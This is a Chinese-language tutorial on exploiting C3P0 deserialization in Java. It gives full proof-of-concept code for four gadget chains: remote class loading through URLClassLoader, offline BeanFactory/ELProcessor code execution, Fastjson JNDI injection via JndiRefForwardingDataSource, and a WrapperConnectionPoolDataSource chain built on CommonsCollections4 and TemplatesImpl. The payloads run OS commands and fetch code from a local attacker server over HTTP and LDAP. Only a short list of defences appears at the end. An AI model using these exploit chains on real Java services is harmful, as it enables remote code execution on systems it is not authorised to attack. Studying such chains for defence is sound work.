Java安全中C3P0反序列化在各个链子中的利用手法(不出网/fastjson等等)
字数 1835 2025-08-26 22:11:56
C3P0反序列化漏洞利用手法详解
1. C3P0简介
C3P0是一个用于创建和管理数据库连接的Java库,通过连接池方式复用连接以减少资源开销。它提供连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能。Hibernate自带的连接池就是C3P0。
2. URLClassLoader链分析
2.1 利用链组成
com.sun.jndi.rmi.registry.RegistryContext -> lookup
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized -> getObject
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase -> readObject
2.2 关键类分析
PoolBackedDataSourceBase类:
- 实现Serializable接口
- 具有PropertyChangeSupport和VetoableChangeSupport对象,具备监听器功能
序列化过程:
- 在
writeObject方法中会保存成员变量connectionPoolDataSource - 如果
connectionPoolDataSource不可序列化,会先执行indirector.indirectForm方法
反序列化过程:
- 调用
IndirectlySerialized#getObject方法还原对象 ReferenceIndirector.ReferenceSerialized实现了IndirectlySerialized接口- 最终通过
ReferenceableUtils.referenceToObject方法加载远程类
2.3 POC构造
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
public class c3p0_POC {
private static class ConnectionPool implements ConnectionPoolDataSource, Referenceable {
protected String classFactory;
protected String classFactoryLocation;
public ConnectionPool(String classFactory, String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {
return new Reference("ref", classFactory, classFactoryLocation);
}
// 其他方法实现...
}
public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
ConnectionPool connectionPool = new ConnectionPool("EvilObject", "http://127.0.0.1:8888/");
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(obj, connectionPool);
String serialize = serialize(obj);
System.out.println(serialize);
unserialize(serialize);
}
}
3. 不出网利用 - BeanFactory RCE
3.1 利用原理
当classFactoryLocation为null时,不会加载远程字节码,而是直接加载本地字节码。可以利用实现了ObjectFactory接口的类,调用其getObjectInstance方法。
3.2 利用条件
需要tomcat8下的依赖
3.3 利用方式
使用org.apache.naming.factory.BeanFactory类 + javax.el.ELProcessor#eval执行任意EL表达式
3.4 POC
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
public class c3p0_no_network {
private static class NotSerializable implements ConnectionPoolDataSource, Referenceable {
private String classFactory;
private String classFactoryLocation;
public NotSerializable() {
this.classFactory = "BeanFactory";
this.classFactoryLocation = null;
}
@Override
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator']).start()\")"));
return ref;
}
// 其他方法实现...
}
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
ConnectionPoolDataSource connectionPoolDataSource1 = new NotSerializable();
Field field = poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase, connectionPoolDataSource1);
String serializeData = serialize(poolBackedDataSourceBase);
System.out.println(serializeData);
unserialize(serializeData);
}
}
3.5 其他利用方式
org.apache.naming.factory.BeanFactory+ groovyorg.apache.naming.factory.BeanFactory+ SnakeYamlorg.apache.naming.factory.BeanFactory+ XStream
4. Fastjson中的JndiRefForwardingDataSource类利用
4.1 利用链分析
JndiRefForwardingDataSource类的dereference方法中存在lookup调用,jndiName可控会导致JNDI注入。
虽然JndiRefForwardingDataSource类没有对应的setter,但它继承了JndiRefDataSourceBase类,该类中存在setter方法。
4.2 POC构造
import com.alibaba.fastjson.JSON;
public class c3p0_fastjson {
public static void main(String[] args){
String poc = "{\"@type\": \"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\n" +
"\"jndiName\": \"ldap://127.0.0.1:1389/fvtvuj\",\n" +
"\"loginTimeout\": 0}";
JSON.parseObject(poc);
}
}
5. Fastjson之WrapperConnectionPoolDataSource类不出网利用
5.1 利用原理
WrapperConnectionPoolDataSource类在初始化时调用setUpPropertyListeners方法开启属性监听功能。当设置userOverridesAsString属性时,会触发反序列化。
5.2 利用链分析
WrapperConnectionPoolDataSource初始化时创建监听器- 设置
userOverridesAsString属性时触发监听器 - 监听器调用
C3P0ImplUtils.parseUserOverridesAsString处理属性值 - 最终通过
SerializableUtils.fromByteArray进行反序列化
5.3 POC构造
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class c3p0_fastjson2 {
public static PriorityQueue CommonsCollections4() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("c3p0Exploit");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetCode = new byte[][]{shellCode};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "xx");
setFieldValue(templatesImpl, "_bytecodes", targetCode);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, transformingComparator);
return priorityQueue;
}
public static void main(String[] args) throws Exception {
PriorityQueue queue = CommonsCollections4();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(queue);
outputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray();
String hexString = bytesToHexString(bytes, bytes.length);
String poc = "{\n\t\"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n\t\"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexString + ";\"\n}";
System.out.println(poc);
JSON.parseObject(poc);
}
}
6. 防御建议
- 升级C3P0到最新版本
- 限制反序列化操作
- 使用安全管理器限制网络访问
- 对Fastjson等JSON库进行安全配置
- 移除不必要的依赖
7. 总结
C3P0反序列化漏洞提供了多种利用方式,包括:
- 通过URLClassLoader加载远程恶意类
- 利用BeanFactory在不出网情况下执行代码
- 结合Fastjson实现JNDI注入
- 通过WrapperConnectionPoolDataSource的属性监听机制触发反序列化
理解这些利用手法有助于更好地防御相关漏洞。